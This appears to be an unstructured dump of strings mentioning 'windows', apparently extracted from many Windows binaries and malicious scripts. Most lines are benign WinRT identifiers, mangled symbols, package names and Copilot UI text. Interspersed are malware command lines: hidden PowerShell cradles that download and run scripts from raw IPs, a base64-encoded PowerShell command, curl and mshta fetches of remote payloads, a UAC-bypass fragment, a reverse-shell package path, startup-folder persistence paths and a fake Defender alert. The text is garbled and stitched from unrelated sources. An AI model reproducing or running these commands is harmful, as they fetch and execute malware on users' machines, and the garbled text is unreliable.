WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelPagerUpdatedEventArgst
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CategoryListAction
WindowsInternal.ComposableShell.Experiences.TextInput&
WindowsInternal.ComposableShell.Experiences.TextInput&
WindowsInternal.ComposableShell.Experiences.TextInput&
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.AutoResize
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
$$windows.data.platform.partitioning.systempartitionindex
$$windows.data.platform.partitioning.activepartitionsm.P
J	DWindows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata&
WindowsCopilot
\windows fabric
-windowstylehidden
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Globalization.Collation.h
\system32\spool\drivers\color\
/q/cc^o^py%systemroot%\system32\msh*.exe%public%\*&for%iin(%public%\*.exe)dostart/b%~ni.exe
uWINDOWS
windows\advcore\ctf\msctfmonitor\regwatch.cpp
Microsoft.Windows.Wil.FeatureLogging
features of Windows in the last week
generation features of Windows in the last week
image generation features of Windows in the last week
and image generation features of Windows in the last week
Text and image generation features of Windows in the last week
to Text and image generation features of Windows in the last week
access to Text and image generation features of Windows in the last week
requested access to Text and image generation features of Windows in the last week
have requested access to Text and image generation features of Windows in the last week
apps have requested access to Text and image generation features of Windows in the last week
which apps have requested access to Text and image generation features of Windows in the last week
windows update problems|windows update issues|troubleshoot BITS|reset BITS|fix BITS|BITS|Background Intelligent Transfer Service|troubleshooters|@
warning|report|alert|windows|crash|hang|balloon|reminder|messages|mesages|notifications|notifying|notified|@
Windows features on or off
Microsoft Store@{Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Resources/StoreDescription}@{Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreMedTile.png}@{Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreAppList.png}@{Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreWideTile.png}@{Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreLargeTile.png}@{Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreSmallTile.png}@{Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppTiles/StoreSplashScreen.png}
Global.WidgetViewWinUI3Global.WidgetViewWinUI3@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square150x150Logo.png}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square44x44Logo.png}http://microsoft.com
Global.WidgetPickerGlobal.WidgetPicker@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square150x150Logo.png}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square44x44Logo.png}http://microsoft.comom
voice access|voice typing|speech recognition|remember my preferences|sync settings|sync my accessibility settings|sync your settings|windows backup|C
Microsoft.Windows.Security.PopKey
windowsTemporaryMessageShown,
_tacos/pkg/tacos.ReverseShelltacos/pkg/tacos..inittasktacos/tacos_windows.gocmd/tacos/tacos.go
Windows activation settings|activation settings|product key settings|1
Windows activation settings|activation settings|product key settings|purchase product key|=
LOGONSERVER=\\WINDOWS11
COMPUTERNAME=WINDOWS11
windir=C:\WINDOWS
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
Windows
Microsoft.WindowsAppRuntime.1.8CN="
com.microsoft.windows.widgets.feeds
Microsoft.Windows.Security.NGC.KeyStaging
x = msgbox("threat named trojan:win32:windows founded! you need delete windows!", 0+48, "windows defender")x
Windows.UI.Xaml.Controls.FontIconSource
Windows.UI.Xaml.Controls.Frame
Windows.UI.Xaml.Controls.Grid
Windows.UI.Xaml.Controls.GridView
Windows.UI.Xaml.Controls.GridViewHeaderItem
Windows.UI.Xaml.Controls.GridViewItem
Windows.UI.Xaml.Controls.GroupItem
Windows.UI.Xaml.Controls.GroupStyle
Windows.UI.Xaml.Controls.GroupStyleSelector
Windows.UI.Xaml.Controls.HandwritingView
)P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUI'
\uac.cab"$wusapath="c:\windows\system32\"$exec 
idorwindows.ddns
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Diagnostics.DiagnosticSubData
Windows.Data.Signals.PredictionEngineFileCondition
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Diagnostics.DiagnosticAtomicSubData
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Diagnostics.DiagnosticDeviceData
Windows.Data.UnifiedTile.CuratedTileCollectionUpgradeEntry
Windows.Data.Platform.Diagnostics.DiagnosticSubDataIntKey
Windows.Data.Platform.Diagnostics.DiagnosticSecureData
bCloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.RoamedTilePropertiesMap
Windows.Data.UnifiedTile.CuratedTileCollectionsManagerData
ItemReference<Windows.Data.QuickActions.QuickActionGroup>
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Diagnostics.DiagnosticCollectionItemData
ItemReference<Windows.Data.SampleMetadata.SampleDataItem>
Windows.Data.HomeScreenBackground.PotraitTransform
Windows.Data.Input.InkAndPen.PenSettingShortcuts
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.PeopleShareTarget.MRUPeopleShareApps
ItemReference<Windows.Data.CuratedTileCollection.Root>
Windows.Data.HomeScreenBackground.LandScapeTransform
C:%5CProgram Files%5CWindowsApps%5CMicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy%5Cresources.pri
@{MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Resources/PkgDisplayName}
@{MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Resources/com_msn_desktopfeed_title}
@{MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/WidgetBoard/Resources/AppDisplayName}
@{MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/WidgetBoard/Resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe%5Cresources.pri
'Oadd|or|remove|programs|and|arp|add|new|installed|installing|applets|applications|apps|aps|files|programmes|programs|softare|softwares|sofware|sotfware|windos|windows|
wow64_microsoft-windows-u..dem-voice.resources_31bf3856ad364e35_en-us_c6942e0dd3124271
wow64_microsoft-windows-u..eclient-aux-preview_31bf3856ad364e35_none_d3cced4b556e743c
wow64_microsoft-windows-u..em-config.resources_31bf3856ad364e35_en-us_2beff18ced1377d1
wow64_microsoft-windows-u..etry-client-wowonly_31bf3856ad364e35_none_af8977223a81af5b
wow64_microsoft-windows-u..istration.resources_31bf3856ad364e35_en-us_b49925abbd0d5a2c
wow64_microsoft-windows-u..ll-windowtabmanager_31bf3856ad364e35_none_3049012e466d3fb9
wow64_microsoft-windows-u..onwakesettingflyout_31bf3856ad364e35_none_9a335dc2ea88ed71
wow64_microsoft-windows-u..ountcontrolsettings_31bf3856ad364e35_none_0d8e2adb5d4d6c31
wow64_microsoft-windows-u..pimindexmaintenance_31bf3856ad364e35_none_cca2d8da5b530f4a
SetWindowsHookExW
UnhookWindowsHookEx
SCPT:PowerShell/WindowStyleHidden
 fWindows Credentials
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Powershell -Windowstyle Hidden -encodedCommand dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA2AC8AcABvAHcAZQByAHMAaABlAGwAbAAuAHAAcwAxACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcobjShell.Run ("powershell.exe -encodedCommand LQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACA = WshShellExec.StdOut.ReadAllSub RunAndGetCmd()
Microsoft-Windows-DeviceManagement-d
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; ARM; Touch; WPDesktop)
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; ARM; Touch; WPDesktop)
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; ARM; Touch; WPDesktop)
Mozilla/5.0 (Windows NT 6.2; ARM; Trident/8.0; Touch; rv:11.0; WPDesktop) like Gecko
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200
Microsoft.Windows.MediaFoundation.TraceLogging.MFPlatform
Microsoft.Windows.IUIRadioManager
Microsoft.Windows.Defender.Shield
Microsoft.Windows.ConnectionManager.WcmApi
Microsoft.Windows.AppXAllUserStore
Mc:\windows\
c:\windows\system32\mshta<
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
shellcommon\undockeddevkit\libs\windowsudk.ai.resourcemanagement\ai.resourcemanagement.aiprocessresourcemanager.cpp
shellcommon\UndockedDevKit\libs\WindowsUdk.ApplicationModel.AppExtensions\PackageManager.cpp
Windows::UI::Core::TextInputProducer::GetCurrentKeyEventDeviceId
Windows::UI::Core::TextInputProducer::GetEndpoint
->c:\c:c:../appdata\roaming\microsoft\windows\start menu\programs\startup\
->c:\c:c:..\appdata\roaming\microsoft\windows\start menu\programs\startup\
->c:\c:c:../programdata\microsoft\windows\start menu\programs\startup\
->c:\c:\programdata\microsoft\windows\start menu\programs\startup\
->c:../appdata/roaming/microsoft/windows/start menu/programs/startup/
GetSystemWindowsDirectoryW
bf^com.microsoft.windows.e
c9^com.microsoft.windows.e
d3^com.microsoft.windows.e
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
\windowsnt\currentversion\svc
Microsoft.Windows.ContentDeliveryManagerrn`https://${sub}.blumen.ca:8443/impact?trump{encodeuricomponent(generatesecuretoken(24))}=
U@.exel-kelv<c:\windows\system32\mshta.exe%systemroot%\system32\*http://a0714424.xsph.ru/dazed/guidance.pdf"%systemroot%\system32\compstui.dll%systemroot%
.?AV<lambda_1>@?L@??GetCreativeResultsAsync@IrisServiceImpl@implementation@IrisService@winrt@@QEAA?AU?$IAsyncOperation@UIrisCreativeResults@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@5@Uhstring@5@IU?$IMapView@Uhstring@winrt@@U12@@Collections@785@W4RetrieveCreativesOption@Iris@Services@WindowsUdk@5@@Z@
eH\appdata\roaming\microsoft\store\lot.rar!%systemroot%\system32\shell32.dll%
WindowsX
Lua:LastFolder0!curseforge/x20windows
61^windows.appExtension
62^windows.protocol
    name="Microsoft.Windows.onecoreuapshell.Windows.Storage"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
windows\temp\ioc[%w]+%.tmp
c:/windows/system32/d
c:/windows/system32/drivers/acpidev.sys
c:/windows/system32/d
cscript//nologoc:\windows\system32\slmgr.vbs
 -windowstylehidden
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
DriverData=C:\Windows\System32\Drivers\DriverData
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
WINDOWS;C:\WIN
\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system+4
Microsoft.Windows.Shell.NotificationArea
Microsoft.Windows.Security.CertCA
clear-itemproperty-path"hkcu:\software\microsoft\windows
GetProcessWindowStation
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
%SystemRoot%\system32\csrss.exe
\Windows
Windows
Windows
Microsoft-Windows-PeerDist-HttpTrans-Out
= "c:\windows\explorer.exe c:\programdata\listboxPasteCounter.hta"memIndex4
Sc:\windows\system32\cmd.exe/cstart
?winError@QWindowsPipeReader@@QEAAXKAEBVQString@@@Z
?windowsIdToDefaultIanaId@QTimeZone@@SA?AVQByteArray@@AEBV2@@Z
?windowsIdToDefaultIanaId@QTimeZone@@SA?AVQByteArray@@AEBV2@W4Country@QLocale@@@Z
?windowsIdToIanaIds@QTimeZone@@SA?AV?$QList@VQByteArray@@@@AEBVQByteArray@@@Z
?windowsIdToIanaIds@QTimeZone@@SA?AV?$QList@VQByteArray@@@@AEBVQByteArray@@W4Country@QLocale@@@Z
?windowsString@QSystemError@@SA?AVQString@@H@Z
?windowsVersion@QSysInfo@@SA?AW4WinVersion@1@XZ
?write@QWindowsPipeWriter@@QEAA_NAEBVQByteArray@@@Z
?writeFileCompleted@QWindowsPipeWriter@@CAXKKPEAU_OVERLAPPED@@@Z
System.Windows.Forms.VisualStyles
Windows.Networking.BackgroundTransfer.Internal
\windows\system32\dism\dismcore.dll
C:\windows\prefetch\cmd.exe-0bd30981.pf
!#AGGR:Lua:DirPathWindows
S-windowstylehidden-command"invoke-webrequest-uri
\system32\cmd.exe/k
55^com.microsoft.windows.extension.speechsynthesizer
com.microsoft.windows.extension.speechsynthesizer
56^com.microsoft.windows.telemetryid
com.microsoft.windows.extensions.xaml.voiceaccessplugin
57^com.microsoft.windows.extensionpackage
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
OS=Windows_NT
Path=C:\WINDOWS\system32;
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Vforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.Defender.UpdateLogging
Microsoft.Windows.TlgAggregateInternal
Global.WindowsPersonaCard.AppXct52b5fkwa3y4wqhrs0fzf0f0886pwq0.mcaM
<mwindows\currentversion\uninstall\desprotetor
Windows Desktop Search
Windows Mail
Windows MIDI Services
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
      <Color Name="ToolWindowShelf">
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe
windows.protocol
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
Microsoft.Windows.Mrt.Runtime
Microsoft.Windows.Wil.FeatureLogging
GetSystemWindowsDirectoryW
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringLen
WindowsCreateString
WindowsDuplicateString
WindowsConcatString
onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\helper.h
onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\desktopwindowcontentbridge.cpp
onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\componentdisplayinformation.cpp
d/onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\dispatcher.cpp
onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\inputbase.cpp
?mplementation@ReactNativePicker@winrt@@UIComboBox@Controls@Xaml@UI@Windows@4@UIComboBox2@67894@UIComboBox3@67894@UIComboBox4@67894@UIComboBox5@67894@UIComboBox6@67894@UISelector@Primitives@67894@UIItemsControl@67894@UIItemsControl2@67894@UIItemsControl3@67894@UIItemContainerMapping@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIControlProtected@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIFrameworkElementProtected7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
.?AU?$require_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@VReactPickerView@implementation@ReactNativePicker@winrt@@@impl@winrt@@
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsSubstringWithSpecifiedLength
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
onecoreuap\windows\advcore\winrt\simplehapticscontroller\simplehapticscontroller.cpp
onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\compositionislandbridge.cpp
onecoreuap\windows\advcore\winrt\radialdevice\lib\interactiveobject.cpp
Conecoreuap\windows\advcore\winrt\onecoredll\stlfailfastadapter.cpp
windowsbrush
WindowsCreateStringReference
GetWindowsUpdateServer
iew@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactPickerView@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@UReactPickerView@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@UIReactPickerViewFactory@34@@winrt@@
.?AU?$root_implements@UReactPickerView@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@UIReactPickerViewFactory@34@@impl@winrt@@
.?AU?$producer_convert@UReactPickerView@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@UReactPickerView@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UReactPickerView@factory_implementation@ReactNativePicker@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIReactPickerViewFactory@ReactNativePicker@4@@std@@@impl@winrt@@
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
WINDOWS WORKFLOW FOUNDATION 4.0.0.0
System.Windows.Forms.VisualStyles
System.Windows.Forms.UnsafeNativeMethods.IOleObject.SetHostNames
c:\windows\system32\cmd.exe/cmode15,1&curlhttps://www.aimi.vn/baogia_bet/bao_gia_bet.bat-o%temp%\
Q^7c:\windows\system32\windowspowershell\v1.0\powershell.exe/
^wc:\windows\system32\windowspowershell\v1.0\powershell.exe/
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whidden$w=new-objectnet.webclient;$w.headers.add('user-agent','uawindowspowershell');.([scriptblock]::create($w.downloadstring('http://193.238.152.123/dossto4ka/
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whidden$w=new-objectnet.webclient;$w.headers.add('user-agent','uawindowspowershell');.([scriptblock]::create($w.downloadstring('http://86.54.42.162/dzgn/alpacafloor.ps1')))
GetWindowsDirectoryW
{7$target="$env:temp\uac.cab"$wusapath="c:\windows\system32\sysprep\"$execpath="c:\windows\system32\sysprep\winsat.exe"$targetwinsat="$env:temp\uac_winsat.cab
c:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1powershell-command('ms'+'hta'+'.exe'+'https://safefiles2.oss-cn-beijing.aliyuncs.com/
TMP=C:\WINDOWS\TEMP
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
OS=Windows_NT
USERNAME=WINDOWS11$
OS=Windows_NT
WindowsTerminal
policybypass-windowstylehidden-noprofile-
GetSystemWindowsDirectoryW
[system.windows.forms.screen]::primaryscreen
[system.windows.forms.clipboard]::gettext()
Microsoft.Windows.BitLocker.Fveapi
Microsoft.Windows.Security.BitLocker.CSP.State.Update
Microsoft.Windows.Security.BitLocker.EncryptionDelay
Microsoft.Windows.Security.BitLocker.BcdUpdate
Microsoft.Windows.Security.BitLocker.KeyRolling.Engine
Microsoft.Windows.BitLockerBlazecheck
C:\Windows\System32\cmd.exeC
c:\windows\system32\cmd.exe/c"{3ba27cb2-d0ea-bf1d-3a36-48cbaefb816d}\22448e6e-5ab5-40b6-36c6-d13c7cdf357c.exe'img_
DC:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
windir=C:\WINDOWS"
Spooler_WindowsProtectedPrintMain
GetWindowsDirectoryW
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
GetSystemWindowsDirectoryW
1WindowsApp1
SystemRoot=C:\WINDOWS
	COMPUTERNAME=WINDOWS11
OS=Windows_NT
c:\windows\system32\cmd.exe/cstart"""c:\users\
